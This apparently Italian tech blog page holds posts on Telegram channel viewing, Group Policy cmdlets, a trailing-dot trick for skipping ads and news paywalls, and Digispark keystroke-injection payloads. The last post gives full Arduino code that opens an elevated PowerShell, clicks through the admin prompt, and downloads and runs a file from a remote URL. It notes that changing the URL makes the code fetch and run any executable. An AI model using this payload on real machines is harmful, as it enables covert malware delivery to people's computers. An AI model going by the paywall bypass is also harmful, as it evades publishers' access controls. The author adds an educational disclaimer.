martedì 15 settembre 2020

Telegram: Accedere ai canali senza disporre di un account

I canali sono diventati una delle funzionalità principali di Telegram: si tratta di uno strumento utile per diffondere messaggi ad un ampio pubblico e consentono un numero illimitato di membri. 

Telegram
FIG 1 - Telegram

Su Telegram ci sono canali molto interessanti che trattano un'ampia gamma di argomenti. Per visualizzare un canale Telegram senza essere registrati al servizio (e quindi senza disporre di un account) basta utilizzare un qualsiasi browser e modificare l'indirizzo del canale aggiungendo /s dopo https://t.me

Ad esempio:

Per visualizzare il mio canale Telegram https://t.me/freelearningit basta modificare l'indirizzo in https://t.me/s/freelearningit e aprire quest'ultimo in un qualsiasi browser.

Accesso al canale Telegram da browser
FIG 2 - Accesso al canale Telegram da browser



domenica 13 settembre 2020

Bloccare pubblicità e paywall sui siti web senza tool di terze parti

Per bloccare la pubblicità visualizzata durante la navigazione sul Web generalmente si utilizzano strumenti di terze parti (chiamati Ad-blocker) come uBlock Origin o AdBlock. Quando non è possibile utilizzare tali tool si può tentare con un semplice trucchetto: aggiungere un punto (.) alla fine del nome del dominio del sito in cui si intende bloccare la pubblicità. Ad esempio, per la visualizzazione di un video di Youtube come https://www.youtube.com/watch?v=f8OHybVhQwc senza il videomessaggio pubblicitario, bisognerà modificare l'indirizzo in https://www.youtube.com./watch?v=f8OHybVhQwc (da notare il punto dopo youtube.com). 

Il domino scritto con il punto finale è un Fully Qualified Domain Name (abbreviato in FQDN, nome di dominio non ambiguo) che identifica la posizione assoluta di un nodo all'interno della gerarchia dell’albero DNS. Il codice sorgente di molte pagine contenenti pubblicità non funziona correttamente quando si utilizza tale formato nel nome del dominio e di conseguenza la pubblicità non viene mostrata. Il trucco funziona anche per evitare alcuni paywall (l'accesso a pagamento ai contenuti di un sito Internet) come quelli utilizzati sui siti di diverse testate giornalistiche come il New York Times. I risultati possono essere variabili a seconda del browser. Alcuni browser, come Internet Explorer e vecchie versioni di Edge, visualizzano un messaggio che segnala il sito come pericoloso in quanto alcuni certificati utilizzati per instaurare la connessione SSL non riconoscono la variante del dominio scritta in formato FQDN. In realtà la versione dell'indirizzo in formato FQDN non è più pericolosa di quella tradizionale. Il trucco non è efficace su tutte le pagine Web e gli sviluppatori di siti web stanno già provvedendo a porre rimedio a questa "anomalia" ma, in ogni caso, vale comunque la pena tentare soprattutto quando non è possibile modificare la configurazione del sistema o installare componenti di terze parti.




venerdì 11 settembre 2020

PowerShell: Criteri del registro di sistema

Per impostare i valori del registro di sistema che non sono coperti dalle impostazioni dei criteri di gruppo è possibile utilizzare il cmdlet Set-GPRegistryValue. Spesso questo è l'unico modo per configurare le impostazioni del registro di sistema relativamente ad applicazioni di terze parti che non mettono a disposizione il file ADMX (Administrative Templates) per la gestione tramite criteri di gruppo.

Il seguente comando imposta, per l'utente corrente, l'attivazione dello screensaver dopo 300 secondi di inattività. Il criterio di registro di sistema viene inserito all'interno dell'oggetto criteri di gruppo specificto (GPO_Blocca_Pannello_di_Controllo).
Set-GPRegistryValue -Name "GPO_Blocca_Pannello_di_Controllo" -Key "HKCU\Software\Policies\Microsoft\Windows\Control Panel\Desktop" -ValueName ScreenSaveTimeOut -Type DWord -Value 300

Parametri:
-Name
Specifica il criterio di gruppo in cui configurare il criterio di registro di sistema.
- Key 
Permette di specificare la chiave di registro su cui operare. Nell'esempio è stato utilizzando HKCU (che sta per HKEY_CURRENT_USER) per l'utente corrente. Utilizzare HKLM (HKEY_LOCAL_MACHINE) per settare impostazioni per il computer.
- ValueName
Nome del valore da modificare/creare.
- Type 
Tipo del valore da modificare/creare.
- Value
Valore da assegnare


Per visualizzare le informazioni relative ad una chiave di registro configurata in un criterio di gruppo si può utilizzare il cmdlet Get-GPRegistryValue.
Get-GPRegistryValue -Name "GPO_Blocca_Pannello_di_Controllo" -Key "HKCU\Software\Policies\Microsoft\Windows\Control Panel\Desktop"

Criterio del registro di sistema
FIG 1 - Criterio del registro di sistema

Per rimuovere le impostazioni di una chiave di registro all'interno di un oggetto criteri di gruppo si procede con il cmdlet Remove-GPRegistryValue.
Remove-GPRegistryValue -Name "GPO_Blocca_Pannello_di_Controllo" -Key "HKCU\Software\Policies\Microsoft\Windows\Control Panel\Desktop" -ValueName ScreenSaveTimeOut

Rimuovere Criterio del registro di sistema
FIG 2 - Rimuovere Criterio del registro di sistema









mercoledì 9 settembre 2020

PowerShell: Creare un nuovo oggetto Criteri di gruppo (GPO)

Oltre alla console Gestione Criteri di gruppo (GPMC), Microsoft fornisce anche un set di cmdelt PowerShell per la creazione e gestione dei criteri di gruppo. Per utilizzare tali cmdlet da un dispositivo è necessario che vi sia installato GPMC. Per verificare che il componente sia installato e visualizzare l'elenco dei relativi cmdlet disponibili, lanciare il seguente comando da PowerShell
Get-Command -Module GroupPolicy
PowerShell, Module GroupPolicy
FIG 1 - PowerShell, Module GroupPolicy

Per creare un nuovo oggetto criterio di gruppo è possibile utilizzare il cmdlet New-GPO. Il comando per creare un nuovo GPO sarà simile a
New-GPO -Name "GPO_Test" -Comment "Criterio di gruppo di test"
dove con il parametro -Name si assegna il nome al nuovo criterio e -Comment consente di specificare una descrizione.
Tale comando crea un oggetto criterio di gruppo "vuoto", senza alcuna impostazione. E' possibile creare un nuovo GPO prendendo come modello un oggetto criteri di gruppo starter tramite il parametro -StarterGPOName
Ad es. 
New-GPO -Name "Nuova_GPO" -StarterGPOName "GPO_Firefox"
crea un nuovo GPO con nome Nuova_GPO copiando le impostazioni dell'oggetto GPO_Firefox.
I criteri di gruppo Starter semplificano notevolmente il lavoro degli amministratori e forniscono impostazioni di base per uno specifico scenario. Supponiamo 
di dover garantire che il browser Firefox sia configurato correttamente sui computer dell'azienda. Si può creare un criterio di gruppo Starter che includa tutte le impostazioni di Firefox necessarie. Quando si andrà a creare un nuovo criterio di gruppo si può includere il criterio di gruppo Starter con le impostazioni di Firefox senza doverle reimpostare nel nuovo criterio.
PowerShell, New-GPO
FIG 2 - PowerShell, New-GPO

Per creare un collegamento ad un GPO esistente possiamo utilizzare il cmdlet New-GPLink indicando il nome dell'oggetto criteri di gruppo e l'unità organizzativa in cui crearlo.
Ad es.
New-GPLink -Name "Nuova_GPO"  -Target "OU=Utenti,OU=Direzione,DC=mycompany,DC=local"

Possiamo creare contemporaneamente un oggetto Criteri di gruppo all'interno del dominio e  il relativo collegamento in una OU specificata utilizzando il piping dei cmdlet New-GPO e New-GPLink.
Ad es.
New-GPO -Name "Nuova_GPO" | New-GPLink -Target "OU=Utenti,OU=Direzione,DC=mycompany,DC=local"
PowerShell New-GPO e New-GPLink
FIG 3 - PowerShell, New-GPO e New-GPLink

Per rimuovere il collegamento ad un oggetto criterio di gruppo all'interno di una OU viene utilizzato il cmdlet Remove-GPLink
Ad es.
Remove-GPLink -Name "Nuova_GPO" -Target "OU=Utenti,OU=Direzione,DC=mycompany,DC=local"

PowerShell, Remove-GPLink
FIG 4 - PowerShell, Remove-GPLink

Per rimuovere un criterio di gruppo si può utilizzare Remove-GPO
Ad es.
Remove-GPO -Name "Nuova_GPO"
Rimuove la GPO nominata Nuova_GPO e tutti i collegamenti. Per preservare i collegamenti al GPO è necessario specificare il parametro - KeepLinks.

Remove-GPO -Guid 50cc3e45-0b14-46dd-8b4d-afa012bc331c -Domain "mycompany.local" -KeepLinks
Il comando esposto sopra elimina l'oggetto criteri di gruppo con GUID specificato ma preservando i collegamenti all'oggetto.






lunedì 7 settembre 2020

Digispark, Visualizzare una finta schermata di aggiornamento del sistema operativo

Il payload oggetto di questo articolo relativo alle Rubber Ducky realizzate con schede Digispark non fa altro che visualizzare una finta schermata di aggiornamento del sistema operativo. Sul sito https://fakeupdate.net/ sono presenti schermate di aggiornamento di diversi sistemi operativi. In questo caso, dovendo simulare una schermata di aggiornamento relativa a Windows 10, la scelta è ricaduta su https://fakeupdate.net/win10ue/.

Digispark Kickstarter
FIG 1 - Digispark Kickstarter

ATTENZIONE:
Danneggiare/violare un sistema informatico (anche da remoto) rappresenta un reato penale. Le informazioni presenti in quest'articolo vanno utilizzate solo per testare/verificare sistemi di cui si è titolari. Declino ogni responsabilità civile e penale derivante da un utilizzo non legale delle informazioni presentate in questo articolo a solo scopo didattico.

Vediamo in dettaglio il payload e come caricarlo sulla scheda Digispark. Per l'installazione/configurazione dell'ambiente di sviluppo, per le informazioni sulla scheda Digispark e per l'installazione dei driver rimando all'articolo Creare una Rubber Ducky economica con una scheda Digispark.

Il codice del payload è il seguente:

#include "KeyboardIT.h"

void setup() {
}

void loop() {
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(500);
  //mostra desktop
  DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT);
  DigiKeyboard.delay(1000);
  // start->Esegui
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(1000);
  DigiKeyboard.print("iexplore -k https://fakeupdate.net/win10ue/");
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  for(;;){ /*empty*/ }
}

L'istruzione principale è 
DigiKeyboard.print("iexplore -k https://fakeupdate.net/win10ue/");
che apre in Internet Explorer la pagina https://fakeupdate.net/win10ue/ a schermo intero. Per uscire dalla modalità schermo intero basta premere il tasto F11 o premere la combinazione ALT+F4 per chiudere la finestra.

Per caricare il payload sulla scheda Digispark i passaggi da seguire sono del tutto analoghi a quelli già visti negli articoli precedenti:
  • Scaricare il file Digispark_Fake_Update.zip dal seguente link 
    DOWNLOAD
  • Scompattare il file e cliccare 2 volte sul file Digispark_Fake_Update.ino per aprirlo nell'IDE Arduino;
  • Cliccare sul tasto carica per compilare e caricare il programma sul dispositivo. Quando richiesto, collegare la scheda Digispark e attendere il caricamento del programma.
Digispark, payload Fake Update
FIG 2 - Digispark, payload Fake Update


Terminato il caricamento, la scheda è pronta per essere usata. Collegandola ad un PC con sistema operativo Windows 7/8/10 verrà aperta una sessione di Internet Explorer a schermo intero che mostra la finta e interminabile schermata di aggiornamento.






mercoledì 2 settembre 2020

PowerShell: Individuare GPO che non sono collegate ad alcuna unità organizzativa

Negli articolo relativi a Windows Server 2019 abbiamo visto come i Criteri di gruppo (GPO) sono utili per applicare restrizioni/impostazioni su un numero elevato di utenti e dispositivi all'interno di un dominio. Con il passare del tempo e della complessità del dominio, ci si può ritrovare con centinaia o addirittura migliaia di Criteri di gruppo da gestire e questo può rappresentare un problema soprattutto se si vuole mantenere in ordine Active Directory ed evitare l'accumularsi di GPO che non vengono più utilizzate. Anche tramite l'utilizzo di Gestione Criteri di gruppo, individuare i criteri di gruppo non più utilizzati e non dotati di alcun collegamento abilitato non è un operazione semplice. In questi casi ci viene in aiuto PowerShell. Tramite il seguente script PowerShell otteniamo l'elenco dei Criteri di gruppo non collegati:

$criteri = Get-Gpo -All
foreach ($gpo in $criteri) {
    [xml]$report = Get-GPOReport -Guid $gpo.ID -ReportType xml
    if (-not $report.GPO.LinksTo) {
        $gpo.DisplayName
    }
}

La prima operazione che effettua lo script è quella di raccogliere tutti i criteri di gruppo attraverso l'utilizzo del cmdlet Get-GPO con il parametro -All e assegnarli alla varibile $criteri. A questo punto è possibile analizzare ciascun criterio di gruppo contenuto in $criteri tramite il ciclo foreach. Gli oggetti forniti in output dal cmdlet Get-GPO non dispongono di alcuna proprietà che ci consenta di determinare se il criterio di gruppo è collegato o meno pertanto, all'interno del ciclo foreach, siamo costretti ad utilizzare allo scopo il cmdlet Get-GPOReport. Al cmdlet, tramite il parametro -Guid, viene passato l'ID del criterio di gruppo che si sta verificando. Il parametro -ReportType, invece, ci consente di specificare il formato del report. Il formato XML ci agevolerà nel recupero delle proprietà dalla variabile $report. Nell'istruzione IF successiva verifichiamo se la proprietà GPO.LinksTo è nulla; in questo caso il criterio di gruppo che stiamo analizzando non dispone di alcun collegamento abilitato quindi visualizziamo in output il suo nome (DisplayName).

Dal seguente link è possibile scaricare il file PS1 contenente lo script PowerShell


GPO non collegata
FIG 1 - Elenca GPO non collegate





lunedì 31 agosto 2020

Digispark, Download ed esecuzione di un file tramite PowerShell

In questo articolo riprendo il discorso sulla Rubber Ducky economica utilizzando una scheda Digispark trattato un pò di tempo fa. Per chi si fosse perso gli articoli precedenti, li riporto di seguito in ordine cronologico:

Creare una Rubber Ducky economica con una scheda Digispark

Digispark, modificare il file HOSTS in Windows 10

Digispark, Modificare l'immagine di sfondo di Windows 

Digispark Kickstarter
FIG 1 - Digispark Kickstarter

ATTENZIONE:
Danneggiare/violare un sistema informatico (anche da remoto) rappresenta un reato penale. Le informazioni presenti in quest'articolo vanno utilizzate solo per testare/verificare sistemi di cui si è titolari. Declino ogni responsabilità civile e penale derivante da un utilizzo non legale delle informazioni presentate in questo articolo a solo scopo didattico.

In questo articolo verrà mostrato un nuovo payload che consente di scaricare un file ed eseguirlo attraverso l'utilizzo di PowerShell. Per caricare il nostro programma sulla scheda è necessario installare l'ambiente Arduino IDE e i driver della scheda Digispark. Per l'installazione/configurazione dell'ambiente di sviluppo, per le informazioni sulla scheda Digispark e per l'installazione dei driver rimando al primo articolo.


Per la programmazione del dispositivo:
  • Scaricare il file Digispark_Download_Run_File.zip dal seguente link 
    DOWNLOAD
  • Scompattare il file e cliccare 2 volte sul file Digispark_Download_Run_File.ino per aprirlo nell'IDE Arduino;
  • Cliccare sul tasto carica per compilare e caricare il programma sul dispositivo. Quando richiesto, collegare la scheda Digispark e attendere il caricamento del programma.
Digispark, Download ed esecuzione di un file
FIG 2 - Digispark, Download ed esecuzione di un file

Terminato il caricamento, la scheda è pronta per essere usata. Basterà collegarla ad un PC con sistema operativo Windows 7/8/10 per eseguire il download e l'esecuzione del file specificato.

Il payload è molto semplice:
#include "KeyboardIT.h"
void setup() {
}

void loop() {
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(500);
  //mostra desktop
  DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT);
  DigiKeyboard.delay(1000);
  // start->Esegui
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(1000);
  DigiKeyboard.print("powershell Start-Process powershell -Verb runAs");
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(5000);
  DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
  DigiKeyboard.delay(5000);
  //script PowerShell
  DigiKeyboard.print("$download = New-Object System.Net.WebClient; $url = 'http://www.pdf995.com/samples/pdf.pdf'; 
     $file = 'f:\\pdf.pdf'; $download.DownloadFile($url,$file); $exec = New-Object -com shell.application; 
     $exec.shellexecute($file); exit;");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);

  for(;;){ /*empty*/ }
}

L'istruzione 
DigiKeyboard.print("powershell Start-Process powershell -Verb runAs");
consente di eseguire PowerShell come amministratore ma il cuore del programma è rappresentato dalla seguente istruzione 
DigiKeyboard.print("$download = New-Object System.Net.WebClient; $url = 'http://www.pdf995.com/samples/pdf.pdf'; $file = 'f:\\pdf.pdf'; $download.DownloadFile($url,$file); $exec = New-Object -com shell.application; $exec.shellexecute($file); exit;");
che, tramite l'utilizzo di PowerShell, consente di eseguire il download del file indicato da $url, salvarlo in locale nel percorso e con il nome indicato da $file e aprirlo/eseguirlo con l'istruzione $exec.shellexecute($file).
Modificando i valori di $url $file possiamo fare in modo di scaricare un file eseguibile da un server e mandarlo in esecuzione sulla postazione.